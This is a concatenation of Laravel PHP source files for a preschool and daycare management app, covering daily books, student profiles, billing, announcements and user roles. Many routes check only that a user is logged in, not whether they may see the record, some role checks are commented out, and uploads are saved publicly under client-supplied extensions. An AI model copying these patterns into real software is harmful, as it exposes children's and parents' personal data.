$dates = DB::table('daily_books')
->select(DB::raw('YEAR(tanggal) year, MONTH(tanggal) month, MONTHNAME(tanggal) month_name, DAY(tanggal) day, id, dipublish, dibaca'))
->where('student_id', '=', $student_id)
->where('dipublish', '=', True)
->whereYear('tanggal', '=', $year)
->whereMonth('tanggal', '=', $month)
->groupBy('year')
->groupBy('month')
->groupBy('month_name')
->groupBy('day')
->groupBy('id')
->groupBy('dibaca')
->orderBy('dibaca')
->orderBy('year', 'desc')
->orderBy('month', 'desc')
->orderBy('day', 'desc')
->get();
}
return view('pages.SelectDateBukuPenghubung', ['dates' => $dates, 'student_id' => $student_id, 'class' => 'Day Care']);
}
public function dayCareSelectDateParent($student_id) {
if (auth()->user() == null) {return redirect()->route('login');}
$dates = DB::table('daily_books')
->select(DB::raw('YEAR(tanggal) year, MONTH(tanggal) month, MONTHNAME(tanggal) month_name, DAY(tanggal) day, id, dibaca'))
->where('student_id', '=', $student_id)
->where('dipublish', '=', True)
->whereYear('tanggal', '<=', Carbon::now()->year)
->whereMonth('tanggal', '<=', Carbon::now()->month)
->groupBy('year')
->groupBy('month')
->groupBy('month_name')
->groupBy('day')
->groupBy('id')
->orderBy('year', 'desc')
->orderBy('month', 'desc')
->orderBy('day', 'desc')
->orderBy('dibaca')
->get();
return view('pages.SelectDateBukuPenghubung', ['dates' => $dates, 'student_id' => $student_id, 'class' => 'Day Care']);
}
public function formDailyBookDayCare($student_id) {
if (auth()->user() == null) {return redirect()->route('login');}
return view('pages.CreateBukuPenghubungDayCare', ['student_id' => $student_id, 'class' => 'Day Care', 'route' => 'createDailyBookDC']);
}
public function showDailyBookDayCare($student_id, $day, $month, $year){
if (auth()->user() == null) {return redirect()->route('login');}
$role = auth()->user()->roles()->first()->name;
if ($role == 'Orangtua') {
$dailyBook = DailyBook::where('student_id', '=', $student_id)
->whereDay('tanggal', '=', $day)
->whereYear('tanggal', '=', $year)
->whereMonth('tanggal', '=', $month)
->update(['dibaca' => True]);
}
$dailyBook = DailyBook::where('student_id', '=', $student_id)
->whereDay('tanggal', '=', $day)
->whereYear('tanggal', '=', $year)
->whereMonth('tanggal', '=', $month)
->first();
// return $dailyBook;
return view('pages.ShowBukuPenghubungDayCare', ['student_id' => $student_id, 'dailyBook' => $dailyBook]);
}
public function reviewDailyBookDayCare($student_id, $day, $month, $year) {
if (auth()->user() == null) {return redirect()->route('login');}
$dailyBook = DailyBook::where('student_id', '=', $student_id)
->whereDay('tanggal', '=', $day)
->whereYear('tanggal', '=', $year)
->whereMonth('tanggal', '=', $month)
->first();
return view('pages.CreateBukuPenghubungDayCare',['student_id' => $student_id, 'route' => 'reviewDailyBookDC', 'dailyBook' => $dailyBook, 'route' => 'reviewDailyBookDC']);
}
// BUKU PENGUHUBUNG KELOMPOK BERMAIN
public function kelompokBermainStudents() {
if (auth()->user() == null) {return redirect()->route('login');}
$role = auth()->user()->roles()->first()->name;
if ($role == 'Orangtua') {
return redirect()->route('orangtua.home');
} else {
$students = Student::where('kelas', 'Kelompok Bermain')->orderBy('nama_lengkap')->get();
return view('pages.SelectStudent', ['students' => $students, 'route' => 'kelompokBermainDailyBook', 'class' => 'Kelompok Bermain']);
}
}
public function kelompokBermainSelectMonth($student_id) {
if (auth()->user() == null) {return redirect()->route('login');}
$months = WebHelper::getMonthListFromDate(Carbon::parse('first day of January ' . Carbon::now()->year));
$end = Carbon::today()->startOfMonth()->format('m');
return view('pages.SelectMonthBukuPenghubung', ['months' => $months, 'student_id' => $student_id, 'end' => $end, 'class' => 'Kelompok Bermain']);
}
public function kelompokBermainSelectDate($student_id, $month, $year) {
if (auth()->user() == null) {return redirect()->route('login');}
$role = auth()->user()->roles()->first()->name;
if ($role != 'Orangtua') {
$dates = DB::table('daily_books')
->select(DB::raw('YEAR(tanggal) year, MONTH(tanggal) month, MONTHNAME(tanggal) month_name, DAY(tanggal) day, id, dipublish, dibaca'))
->where('student_id', '=', $student_id)
->whereYear('tanggal', '=', $year)
->whereMonth('tanggal', '=', $month)
->groupBy('year')
->groupBy('month')
->groupBy('month_name')
->groupBy('day')
->groupBy('id')
->groupBy('dibaca')
->orderBy('dibaca')
->orderBy('year', 'desc')
->orderBy('month', 'desc')
->orderBy('day', 'desc')
->get();
} else {
$dates = DB::table('daily_books')
->select(DB::raw('YEAR(tanggal) year, MONTH(tanggal) month, MONTHNAME(tanggal) month_name, DAY(tanggal) day, id, dipublish, dibaca'))
->where('student_id', '=', $student_id)
->where('dipublish', '=', True)
->whereYear('tanggal', '=', $year)
->whereMonth('tanggal', '=', $month)
->groupBy('year')
->groupBy('month')
->groupBy('month_name')
->groupBy('day')
->groupBy('id')
->groupBy('dibaca')
->orderBy('dibaca')
->orderBy('year', 'desc')
->orderBy('month', 'desc')
->orderBy('day', 'desc')
->get();
}
return view('pages.SelectDateBukuPenghubung', ['dates' => $dates, 'student_id' => $student_id, 'class' => 'Kelompok Bermain']);
}
public function kelompokBermainSelectDateParent($student_id) {
if (auth()->user() == null) {return redirect()->route('login');}
$dates = DB::table('daily_books')
->select(DB::raw('YEAR(tanggal) year, MONTH(tanggal) month, MONTHNAME(tanggal) month_name, DAY(tanggal) day, id, dibaca'))
->where('student_id', '=', $student_id)
->where('dipublish', '=', True)
->whereYear('tanggal', '<=', Carbon::now()->year)
->whereMonth('tanggal', '<=', Carbon::now()->month)
->groupBy('year')
->groupBy('month')
->groupBy('month_name')
->groupBy('day')
->groupBy('id')
->orderBy('year', 'desc')
->orderBy('month', 'desc')
->orderBy('day', 'desc')
->orderBy('dibaca')
->get();
return view('pages.SelectDateBukuPenghubung', ['dates' => $dates, 'student_id' => $student_id, 'class' => 'Kelompok Bermain']);
}
public function formDailyBookKelompokBermain($student_id) {
if (auth()->user() == null) {return redirect()->route('login');}
return view('pages.CreateBukuPenghubungKelompokBermain', ['student_id' => $student_id, 'route' => 'createDailyBookKB']);
}
public function showDailyBookKelompokBermain($student_id, $day, $month, $year){
if (auth()->user() == null) {return redirect()->route('login');}
$role = auth()->user()->roles()->first()->name;
if ($role == 'Orangtua') {
$dailyBook = DailyBook::where('student_id', '=', $student_id)
->whereDay('tanggal', '=', $day)
->whereYear('tanggal', '=', $year)
->whereMonth('tanggal', '=', $month)
->update(['dibaca' => True]);
}
$dailyBook = DailyBook::where('student_id', '=', $student_id)
->whereDay('tanggal', '=', $day)
->whereYear('tanggal', '=', $year)
->whereMonth('tanggal', '=', $month)
->first();
return view('pages.ShowBukuPenghubungKelompokBermain', ['student_id' => $student_id, 'dailyBook' => $dailyBook]);
}
public function reviewDailyBookKelompokBermain($student_id, $day, $month, $year) {
if (auth()->user() == null) {return redirect()->route('login');}
$dailyBook = DailyBook::where('student_id', '=', $student_id)
->whereDay('tanggal', '=', $day)
->whereYear('tanggal', '=', $year)
->whereMonth('tanggal', '=', $month)
->first();
return view('pages.CreateBukuPenghubungKelompokBermain', ['student_id' => $student_id, 'route' => 'reviewDailyBookKB', 'dailyBook' => $dailyBook]);
}
// EDIT PROFILE
public function selectClassProfile() {
if (auth()->user() == null) {return redirect()->route('login');}
return view('pages.SelectClass', ['route' => 'profile']);
}
public function studentsProfileDayCare() {
// $role = auth()->user()->roles()->first()->description;
// if ($role != 'Full Access') {
// return redirect()->route('index');
// } else {
if (auth()->user() == null) {return redirect()->route('login');}
$students = Student::where('kelas', 'Day Care')->orderBy('nama_lengkap')->get();
return view('pages.SelectStudent', ['students' => $students, 'route' => 'dayCareProfile', 'class' => 'Day Care']);
// }
}
public function studentsProfileKelompokBermain() {
// $role = auth()->user()->roles()->first()->description;
// if ($role != 'Full Access') {
// return redirect()->route('index');
// } else {
if (auth()->user() == null) {return redirect()->route('login');}
$students = Student::where('kelas', 'Kelompok Bermain')->orderBy('nama_lengkap')->get();
return view('pages.SelectStudent', ['students' => $students, 'route' => 'kelompokBermainProfile', 'class' => 'Kelompok Bermain']);
// }
}
public function profileDetails($student_id) {
if (auth()->user() == null) {return redirect()->route('login');}
$student = Student::where('id', $student_id)->first();
$dad = $student->user()->first()->parents()->where('peran', 'Ayah')->first();
$mom = $student->user()->first()->parents()->where('peran', 'Ibu')->first();
$pengumuman = Pengumuman::where('kelas', $student->kelas)->where('jenis', 'Pengumuman')->get();
$agenda = Pengumuman::where('kelas', $student->kelas)->where('jenis', 'Agenda Kegiatan')->get();
$schedule = Jadwal::where('kelas', $student->kelas)->first();
$tagihan = Pembayaran::where('kelas', $student->kelas)->get();
$formattedTagihanList = array();
$tagihanStudent = Pembayaran::where('student_id', $student_id)->get();
$count = 1;
$totalTagihan = 0;
$formattedTagihan = new FormattedPembayaran();
foreach ($tagihanStudent as $eachTagihan) {
$formattedTagihan = new FormattedPembayaran();
if ($count == 1) {
$formattedTagihan->nama_lengkap = $student->nama_lengkap;
} else {
$formattedTagihan->nama_lengkap = '';
}
$formattedTagihan->jenis_tagihan = $eachTagihan->jenis_tagihan;
$formattedTagihan->jumlah_tagihan = $eachTagihan->jumlah_tagihan;
$formattedTagihan->status = $eachTagihan->status;
$totalTagihan = $totalTagihan + $eachTagihan->jumlah_tagihan;
if (count($tagihanStudent) != $count && $eachTagihan->tagihan_id != $tagihanStudent[$count]->tagihan_id) {
$formattedTagihan->total_tagihan = $totalTagihan;
} else if (count($tagihanStudent) == $count) {
$formattedTagihan->total_tagihan = $totalTagihan;
} else {
$formattedTagihan->total_tagihan = '';
}
$formattedTagihan->bukti_pembayaran = $eachTagihan->bukti_pembayaran;
if ($formattedTagihan->status == 'Lunas' && count($tagihanStudent) != $count && $eachTagihan->tagihan_id != $tagihanStudent[$count]->tagihan_id) {
$formattedTagihan->kwitansiCheck = true;
$totalTagihan = 0;
} else if ($formattedTagihan->status == 'Lunas' && count($tagihanStudent) == $count) {
$formattedTagihan->kwitansiCheck = true;
$totalTagihan = 0;
} else {
$formattedTagihan->kwitansiCheck = false;
}
$formattedTagihan->student_id = $student->id;
$formattedTagihan->tagihan_id = $eachTagihan->id;
$formattedTagihan->tagihan_class_id = $eachTagihan->tagihan_id;
array_push($formattedTagihanList, $formattedTagihan);
$count = $count + 1;
}
if ($formattedTagihan == new FormattedPembayaran()) {
$formattedTagihan->nama_lengkap = $student->nama_lengkap;
$formattedTagihan->jenis_tagihan = '';
$formattedTagihan->jumlah_tagihan = '';
$formattedTagihan->status = '';
$formattedTagihan->total_tagihan = '';
$formattedTagihan->bukti_pembayaran = '';
$formattedTagihan->kwitansiCheck = '';
$formattedTagihan->student_id = $student->id;
$formattedTagihan->tagihan_id = '';
array_push($formattedTagihanList, $formattedTagihan);
}
if ($schedule != null) {
$scheduleImages = JadwalGambar::where('jadwal_id',$schedule->id)->get();
return view('pages.StudentProfile', ['student' => $student, 'dad' => $dad, 'mom' => $mom,'pengumuman' => $pengumuman, 'agenda' => $agenda, 'formattedTagihanList' => $formattedTagihanList, 'schedule' => $schedule, 'scheduleImages' => $scheduleImages]);
}
return view('pages.StudentProfile', ['student' => $student, 'dad' => $dad, 'mom' => $mom,'pengumuman' => $pengumuman, 'agenda' => $agenda, 'formattedTagihanList' => $formattedTagihanList, 'schedule' => $schedule]);
}
// COMMENTS
public function showComments($daily_book_id) {
if (auth()->user() == null) {return redirect()->route('login');}
$chats = Comments::where('daily_book_id', $daily_book_id)->get();
return view('pages.ShowBukuPenghubungComments', ['chats' => $chats, 'daily_book_id' => $daily_book_id]);
}
public function sendComments($daily_book_id) {
if (auth()->user() == null) {return redirect()->route('login');}
return view('pages.PostBukuPenghubungComments', ['daily_book_id' => $daily_book_id]);
}
// SCHEDULE
public function scheduleForm($kelas) {
if (auth()->user() == null) {return redirect()->route('login');}
$schedule = Jadwal::where('kelas', $kelas)->first();
if ($schedule != null) {
$scheduleImages = JadwalGambar::where('jadwal_id',$schedule->id)->get();
return view('pages.TambahJadwalPerBulan', ['kelas' => $kelas, 'schedule' => $schedule, 'scheduleImages' => $scheduleImages]);
}
return view('pages.TambahJadwalPerBulan', ['kelas' => $kelas, 'schedule' => $schedule]);
}
public function scheduleList($kelas) {
if (auth()->user() == null) {return redirect()->route('login');}
$schedule = Jadwal::where('kelas', $kelas)->first();
if ($schedule != null) {
$scheduleImages = JadwalGambar::where('jadwal_id',$schedule->id)->get();
return view('pages.JadwalPerBulan', ['kelas' => $kelas, 'schedule' => $schedule, 'scheduleImages' => $scheduleImages]);
}
return view('pages.JadwalPerBulan', ['kelas' => $kelas, 'schedule' => $schedule]);
}
// PENGUMUMAN
public function pengumumanList($kelas) {
if (auth()->user() == null) {return redirect()->route('login');}
if (auth()->user()->roles()->first()->description != 'Full Access') {return redirect()->route('login');}
$pengumuman = Pengumuman::where('kelas', $kelas)->where('jenis', 'Pengumuman')->get();
$agenda = Pengumuman::where('kelas', $kelas)->where('jenis', 'Agenda Kegiatan')->get();
return view('pages.pengumumanKegiatan', ['kelas' => $kelas, 'pengumuman' => $pengumuman, 'agenda' => $agenda]);
}
public function addPengumuman($kelas) {
if (auth()->user() == null) {return redirect()->route('login');}
if (auth()->user()->roles()->first()->description != 'Full Access') {return redirect()->route('login');}
return view('pages.UbahPengumuman', ['kelas' => $kelas, 'route' => 'add']);
}
public function editPengumuman($kelas, $id) {
if (auth()->user() == null) {return redirect()->route('login');}
if (auth()->user()->roles()->first()->description != 'Full Access') {return redirect()->route('login');}
$pengumuman = Pengumuman::where('id', $id)->first();
return view('pages.UbahPengumuman', ['kelas' => $kelas, 'route' => 'edit', 'pengumuman' => $pengumuman]);
}
public function seePengumuman($kelas, $id) {
if (auth()->user() == null) {return redirect()->route('login');}
$pengumuman = Pengumuman::where('id', $id)->first();
return view('pages.ShowPengumuman', ['kelas' => $kelas, 'pengumuman' => $pengumuman]);
}
// PEMBAYARAN
public function tagihanLists($kelas)
{
if (auth()->user() == null) {return redirect()->route('login');}
if (auth()->user()->roles()->first()->description != 'Full Access') {return redirect()->route('login');}
$students = Student::where('kelas', $kelas)->orderBy('nama_lengkap')->get();
$tagihan = Pembayaran::where('kelas', $kelas)->get();
$formattedTagihanList = array();
foreach ($students as $student) {
$tagihanStudent = Pembayaran::where('student_id', $student->id)->get();
$count = 1;
$totalTagihan = 0;
$formattedTagihan = new FormattedPembayaran();
foreach ($tagihanStudent as $eachTagihan) {
$formattedTagihan = new FormattedPembayaran();
if ($count == 1) {
$formattedTagihan->nama_lengkap = $student->nama_lengkap;
} else {
$formattedTagihan->nama_lengkap = '';
}
$formattedTagihan->jenis_tagihan = $eachTagihan->jenis_tagihan;
$formattedTagihan->jumlah_tagihan = $eachTagihan->jumlah_tagihan;
$formattedTagihan->status = $eachTagihan->status;
$totalTagihan = $totalTagihan + $eachTagihan->jumlah_tagihan;
if (count($tagihanStudent) != $count && $eachTagihan->tagihan_id != $tagihanStudent[$count]->tagihan_id) {
$formattedTagihan->total_tagihan = $totalTagihan;
} else if (count($tagihanStudent) == $count) {
$formattedTagihan->total_tagihan = $totalTagihan;
} else {
$formattedTagihan->total_tagihan = '';
}
$formattedTagihan->bukti_pembayaran = $eachTagihan->bukti_pembayaran;
if ($formattedTagihan->status == 'Lunas' && count($tagihanStudent) != $count && $eachTagihan->tagihan_id != $tagihanStudent[$count]->tagihan_id) {
$formattedTagihan->kwitansiCheck = true;
$totalTagihan = 0;
} else if ($formattedTagihan->status == 'Lunas' && count($tagihanStudent) == $count) {
$formattedTagihan->kwitansiCheck = true;
$totalTagihan = 0;
} else {
$formattedTagihan->kwitansiCheck = false;
}
$formattedTagihan->student_id = $student->id;
$formattedTagihan->tagihan_id = $eachTagihan->id;
$formattedTagihan->tagihan_class_id = $eachTagihan->tagihan_id;
array_push($formattedTagihanList, $formattedTagihan);
$count = $count + 1;
}
if ($formattedTagihan == new FormattedPembayaran()) {
$formattedTagihan->nama_lengkap = $student->nama_lengkap;
$formattedTagihan->jenis_tagihan = '';
$formattedTagihan->jumlah_tagihan = '';
$formattedTagihan->status = '';
$formattedTagihan->total_tagihan = '';
$formattedTagihan->bukti_pembayaran = '';
$formattedTagihan->kwitansiCheck = '';
$formattedTagihan->student_id = $student->id;
$formattedTagihan->tagihan_id = '';
array_push($formattedTagihanList, $formattedTagihan);
}
}
return view('pages.tagihanSiswa', ['kelas' => $kelas, 'formattedTagihanList' => $formattedTagihanList]);
}
public function tagihanAdd($kelas, $student_id)
{
if (auth()->user() == null) {return redirect()->route('login');}
if (auth()->user()->roles()->first()->description != 'Full Access') {return redirect()->route('login');}
return view('pages.tambahTagihan', ['kelas' => $kelas, 'student_id' => $student_id, 'route' => 'add']);
}
public function tagihanEdit($kelas, $student_id, $tagihan_id)
{
if (auth()->user() == null) {return redirect()->route('login');}
if (auth()->user()->roles()->first()->description != 'Full Access') {return redirect()->route('login');}
$tagihan = Pembayaran::where('id', $tagihan_id)->first();
return view('pages.tambahTagihan', ['kelas' => $kelas, 'tagihan' => $tagihan, 'tagihan_id' => $tagihan_id, 'student_id' => $student_id, 'route' => 'edit']);
}
public function showKwitansi($kelas, $student_id, $tagihan_id)
{
if (auth()->user() == null) {return redirect()->route('login');}
if (auth()->user()->roles()->first()->description == 'Full Access' || auth()->user()->roles()->first()->name == 'Orangtua') {
$tagihan = Pembayaran::where('id', $tagihan_id)->first();
$student = Student::where('id', $student_id)->first();
$allTagihan = Pembayaran::where('student_id', $student_id)->where('status', 'Lunas')->where('bulan_tagihan', $tagihan->bulan_tagihan)->get();
$totalTagihan = 0;
foreach ($allTagihan as $eachTagihan) {
$totalTagihan = $totalTagihan + $eachTagihan->jumlah_tagihan;
}
if ($tagihan->status == 'Lunas') {
return view('pages.kwitansi', ['kelas' => $kelas, 'tagihan' => $tagihan, 'tagihan_id' => $tagihan_id, 'student_id' => $student_id, 'student' => $student, 'allTagihan' => $allTagihan, 'totalTagihan' => $totalTagihan]);
} else {
return redirect()->route('login');
}
}
return redirect()->route('login');
}
// NOTIFICATION
public function showAllNotifications()
{
$notifications = Notification::whereHas('users', function ($query) {
$query->where('users.id', auth()->user()->id);
})
->orderBy('created_at', 'desc')
->get();
return view('pages.notification', ['notifications' => $notifications]);
}
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Student extends Model
{
/**
* The attributes that are mass assignable.
*
* @var array
*/
protected $fillable = [
'user_id', 'nama_lengkap', 'nama_panggilan', 'jenis_kelamin',
'tempat_lahir', 'tanggal_lahir', 'usia', 'agama', 'alamat_rumah',
'telepon_rumah', 'anak_ke', 'catatan_medis', 'penyakit_berat',
'keadaan_khusus', 'sifat_baik', 'sifat_diperhatikan', 'kelas',
'foto_kk', 'foto_profile'
];
public function user()
{
return $this->belongsTo(User::class);
}
public function dailyBook()
{
return $this->hasMany(DailyBook::class);
}
public function pembayaran(){
return $this->hasMany(Pembayaran::class);
}
}
<file_sep># TPA-Makara-UI<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Pengumuman;
class PengumumanController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
//
$pengumumans = Pengumuman::all();
return view('pages.dummyshowpengumuman',['pengumumans'=>$pengumumans]);
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create()
{
return view('pages.dummyaddpengumuman',['route'=>'create']);
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else if ($user->roles()->first()->name == 'Guru') {
return redirect()->route('guru.home');
} else if ($user->roles()->first()->name == 'Fasilitator') {
return redirect()->route('fasilitator.home');
} else if ($user->roles()->first()->name == 'Co-fasilitator') {
return redirect()->route('cofasilitator.home');
} else {
$this->validate($request,[
'judul','deskripsi','tanggal','jenis'
]);
$pengumuman = new Pengumuman;
$pengumuman->judul = $request['judul'];
$pengumuman->deskripsi = $request['deskripsi'];
$pengumuman->tanggal = $request['tanggal'];
$pengumuman->tempat = $request['tempat'];
$pengumuman->jenis = $request['jenis'];
$pengumuman->kelas = $request['kelas'];
$pengumuman->save();
$notificationMessage = ', telah menambahkan ' . $request->jenis . ' "' . $request->judul . '" untuk siswa ' . $request->kelas . '! :)';
$notificationUrl = 'profile/pengumuman/' . $request->kelas . '/show/' . $pengumuman->id ;
NotificationController::generateNotificationToSpecificClass($user->roles()->first()->name, $notificationMessage, $request->kelas, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.pengumuman.list', ['kelas' => $pengumuman->kelas])]);
}
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
$pengumuman = Pengumuman::find($id);
return $pengumuman;
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
$pengumuman = Pengumuman::find($id);
return view('pages.dummyaddpengumuman',['pengumuman'=>$pengumuman,'route'=>'edit']);
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else if ($user->roles()->first()->name == 'Guru') {
return redirect()->route('guru.home');
} else if ($user->roles()->first()->name == 'Fasilitator') {
return redirect()->route('fasilitator.home');
} else if ($user->roles()->first()->name == 'Co-fasilitator') {
return redirect()->route('cofasilitator.home');
} else {
$pengumuman = Pengumuman::find($id);
$this->validate($request,[
'judul','deskripsi','tanggal','jenis'
]);
$pengumuman->judul = $request['judul'];
$pengumuman->deskripsi = $request['deskripsi'];
$pengumuman->tanggal = $request['tanggal'];
$pengumuman->tanggal = $request['tempat'];
$pengumuman->jenis = $request['jenis'];
$pengumuman->kelas = $request['kelas'];
$pengumuman->save();
// $notificationMessage = ', telah mengubah ' . $pengumuman->jenis . ' "' . $pengumuman->judul . '" untuk siswa ' . $pengumuman->kelas . '! :)';
// $notificationUrl = 'profile/pengumuman/' . $pengumuman->kelas . '/show/' . $pengumuman->id ;
// NotificationController::generateNotificationToSpecificClass($user->name, $notificationMessage, $pengumuman->kelas, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.pengumuman.list', ['kelas' => $pengumuman->kelas])]);
}
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
$user = auth()->user();
if ($user == null) {
return redirect()->route('login');
} else if ($user->roles()->first()->name == 'Orangtua') {
return redirect()->route('orangtua.home');
} else if ($user->roles()->first()->name == 'Guru') {
return redirect()->route('guru.home');
} else if ($user->roles()->first()->name == 'Fasilitator') {
return redirect()->route('fasilitator.home');
} else if ($user->roles()->first()->name == 'Co-fasilitator') {
return redirect()->route('cofasilitator.home');
} else {
$pengumuman = Pengumuman::find($id);
$jenis = $pengumuman->jenis;
$judul = $pengumuman->judul;
$kelas = $pengumuman->kelas;
$pengumuman->delete();
// $notificationMessage = ', telah menghapus ' . $jenis . ' "' . $judul . '" untuk siswa ' . $kelas . '! :)';
// $notificationUrl = 'profile/pengumuman/' . $kelas . '/list';
// NotificationController::generateNotificationToSpecificClass($user->name, $notificationMessage, $kelas, $notificationUrl);
return redirect()->route('successAndRedirect', ['url' => route('profile.pengumuman.list', ['kelas' => $pengumuman->kelas])]);
}
}
}
<file_sep><?php
namespace App\Helper;
use Carbon\Carbon;
class WebHelper
{
public static function getUrlForRole($role)
{
if($role == 'Administrator' ||
$role == 'Koordinator' ||
$role == 'Wakil Koordinator' ||
$role == 'Staf Administrasi') {
return 'admin';
} else {
return strtolower($role);
}
}
public static function saveImageToPublic($file, $dir)
{
$imageName = time() . rand() . '.' . $file->getClientOriginalExtension();
$destinationPath = public_path($dir);
$file->move($destinationPath, $imageName);
return $dir . '/' . $imageName;
}
public static function getMonthListFromDate($start)
{
$start = $start->startOfMonth();
$end = Carbon::today()->startOfMonth();
$i = 0;
$months = [];
do
{
$i = $i + 1;
$months[$i]['month'] = $start->format('m');
$months[$i]['month_name'] = $start->format('F');
$months[$i]['year'] = $start->format('Y');
} while ($start->addMonth() <= $end);
return $months;
}
public static function getValidatedDate($dateStr)
{
return Carbon::parse($dateStr);
}
// public static function replaceImageFromPublic($newFileName, $oldFileName, $dir)
// if(File::exists($filename)) {
//
// $newFileName = public_path('uploads/institutions/').$institution->avatar;
//
// $imageName = time() . rand() . '.' . $file->getClientOriginalExtension();
// Image::make($file)->resize(250, 205)->save( public_path('uploads/institutions/' . $filename_new ) );
//
// //update filename to database
// $institution->avatar = $filename_new;
// $institution->save();
// //Found existing file then delete
// File::delete($filename); // or unlink($filename);
// }
// }
}
<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
class Parents extends Model
{
protected $table = 'parents';
/**
* The attributes that are mass assignable.
*
* @var array
*/
protected $fillable = [
'user_id', 'peran', 'nama_lengkap', 'tempat_lahir', 'tanggal_lahir',
'agama', 'pendidikan', 'jurusan', 'pekerjaan', 'telepon_kantor',
'email', 'alamat_rumah', 'alamat_kantor', 'no_handphone', 'foto_ktp'
];
public function user()
{
return $this->belongsTo(User::class);
}
}
<file_sep><?php
namespace App\Http\Controllers;
use App\Role;
use App\User;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Hash;
use Illuminate\Http\Request;
use Illuminate\Auth\Events\Registered;
use Illuminate\Support\Facades\Validator;
class UserController extends Controller
{
public function showAdminRegisterForm() {
if (auth()->user() == null) {return redirect()->route('login');}
$role = auth()->user()->roles()->first()->name;
if ($role == 'Administrator' || $role == 'Koordinator' || $role == 'Wakil Koordinator' || $role == 'Staf Administrasi') {
return view('pages.AdminRegistrationForm', ['msg' => '']);
} else {
return redirect()->route('login');
}
}
public function submitAdminRegisterForm(Request $request) {
if (auth()->user() == null) {return redirect()->route('login');}
$role = auth()->user()->roles()->first()->name;
if ($role == 'Administrator' || $role == 'Koordinator' || $role == 'Wakil Koordinator' || $role == 'Staf Administrasi') {
if ($request->password == $request->password_confirmation) {
$role = Role::where('name', $request->role)->first();
$user = new User;
$user->name = $request->name;
$user->email = $request->email;
$user->password = <PASSWORD>($request->password);
$user->save();
$user->roles()->save($role);
return redirect()->route('success');
} else {
return view('pages.AdminRegistrationForm', ['msg' => 'Password Tidak Sesuai']);
}
} else {
return redirect()->route('login');
}
}
public function showPasswordChangeForm() {
if (auth()->user() == null) {return redirect()->route('login');}
return view('pages.PasswordChangeForm', ['msg' => '']);
}
public function submitPasswordChangeForm(Request $request) {
if (auth()->user() == null) {return redirect()->route('login');}
if (Hash::check($request->passwordLama, auth()->user()->password) && $request->password == $request->password_confirmation) {
$user = User::where('id', auth()->user()->id)->update(
[
'password' => <PASSWORD>($request->password)
]
);
return redirect()->route('success');
} else {
return view('pages.PasswordChangeForm', ['msg' => 'Password Tidak Sesuai']);
}
}
}
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Berita;
use DB;
class HomeController extends Controller
{
/**
* Create a new controller instance.
*
* @return void
*/
public function __construct()
{
$this->middleware('auth');
}
public function administratorHome(Request $request) {
if (auth()->user() == null) {return redirect()->route('login');}
$news = Berita::orderBy('created_at','updated_at')->paginate(3);
$request->user()->authorizeRoles(['Administrator','Staf Administrasi','Koordinator','Wakil Koordinator']);
return view('dashboard.administratorHome', ['news' => $news]);
}
public function fasilitatorHome(Request $request) {
if (auth()->user() == null) {return redirect()->route('login');}
$news = Berita::orderBy('created_at','updated_at')->paginate(3);
$request->user()->authorizeRoles(['Fasilitator']);
return view('dashboard.fasilitatorHome', ['news' => $news]);
}
public function teacherHome(Request $request) {
if (auth()->user() == null) {return redirect()->route('login');}
$news = Berita::orderBy('created_at','updated_at')->paginate(3);
$request->user()->authorizeRoles(['Guru']);
return view('dashboard.teacherHome', ['news' => $news]);
}
public function cofasilitatorHome(Request $request) {
if (auth()->user() == null) {return redirect()->route('login');}
$news = Berita::orderBy('created_at','updated_at')->paginate(3);
$request->user()->authorizeRoles(['Co-fasilitator']);
return view('dashboard.cofasilitatorHome', ['news' => $news]);
}
public function parentHome(Request $request) {
if (auth()->user() == null) {return redirect()->route('login');}
$news = Berita::orderBy('created_at','updated_at')->paginate(3);
$request->user()->authorizeRoles(['Orangtua']);
return view('dashboard.parentHome', ['news' => $news]);
}
}
<file_sep><?php
use Illuminate\Database\Seeder;
use App\Role;
class RoleTableSeeder extends Seeder
{
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
$role_administrator = new Role();
$role_administrator->name = 'Administrator';
$role_administrator->description = 'Full Access';
$role_administrator->save();
$role_koordinator = new Role();
$role_koordinator->name = 'Koordinator';
$role_koordinator->description = 'Full Access';
$role_koordinator->save();
$role_wakil_koordinator = new Role();
$role_wakil_koordinator->name = '<NAME>';
$role_wakil_koordinator->description = 'Full Access';
$role_wakil_koordinator->save();
$role_staf_administrasi = new Role();
$role_staf_administrasi->name = 'Staf Administrasi';
$role_staf_administrasi->description = 'Full Access';
$role_staf_administrasi->save();
$role_fasilitator = new Role();
$role_fasilitator->name = 'Fasilitator';
$role_fasilitator->description = 'Can Write and Publish Daily Books and Give Comments for All Classes';
$role_fasilitator->save();
$role_cofasilitator = new Role();
$role_cofasilitator->name = 'Co-fasilitator';
$role_cofasilitator->description = 'Can Write Daily Books and Give Comments for Daycare Class';
$role_cofasilitator->save();
$role_guru = new Role();
$role_guru->name = 'Guru';
$role_guru->description = 'Can Write Daily Books and Give Comments for Kelompok Bermain Class';
$role_guru->save();
$role_orangtua = new Role();
$role_orangtua->name = 'Orangtua';
$role_orangtua->description = 'Can Read Daily Books and Give Comments';
$role_orangtua->save();
}
}
<file_sep>function deleteId(id) {
console.log(id);
